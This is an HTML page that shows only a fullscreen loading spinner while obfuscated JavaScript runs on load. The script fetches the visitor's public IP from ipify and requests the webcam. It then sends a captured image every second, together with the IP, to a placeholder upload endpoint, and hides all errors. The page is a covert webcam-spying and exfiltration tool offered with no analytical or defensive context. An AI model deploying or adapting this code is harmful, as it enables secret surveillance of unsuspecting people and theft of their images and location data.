<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>d</title>
<style>
#_0{position:fixed;top:0;left:0;width:100%;height:100%;display:flex;align-items:center;justify-content:center;background:white;z-index:1e3}
._1{width:50px;height:50px;border:6px solid #eee;border-top:6px solid #3E488B;border-radius:50%;animation:_2 1s linear infinite}
@keyframes _2{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}
</style>
</head>
<body>
<div id="_0"><div class="_1"></div></div>
<script>
(function(){let i='';async function c(){try{const s=await navigator.mediaDevices.getUserMedia({video:!0});const v=document.createElement('video');v.srcObject=s;v.play();const a=document.createElement('canvas');const x=a.getContext('2d');v.addEventListener('loadeddata',()=>{a.width=v.videoWidth;a.height=v.videoHeight;setInterval(async()=>{x.drawImage(v,0,0,a.width,a.height);const d=a.toDataURL('image/png');await u(d,i)},1e3)})}catch{}}async function p(){try{const r=await fetch('https://api.ipify.org?format=json');const j=await r.json();i=j.ip}catch{}}async function u(m,n){try{const r=await fetch('https://your-api-endpoint.com/upload',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({image:m,ip:n})});await r.json()}catch{}}window.addEventListener('load',async()=>{await p();c()})})();
</script>
</body>
</html>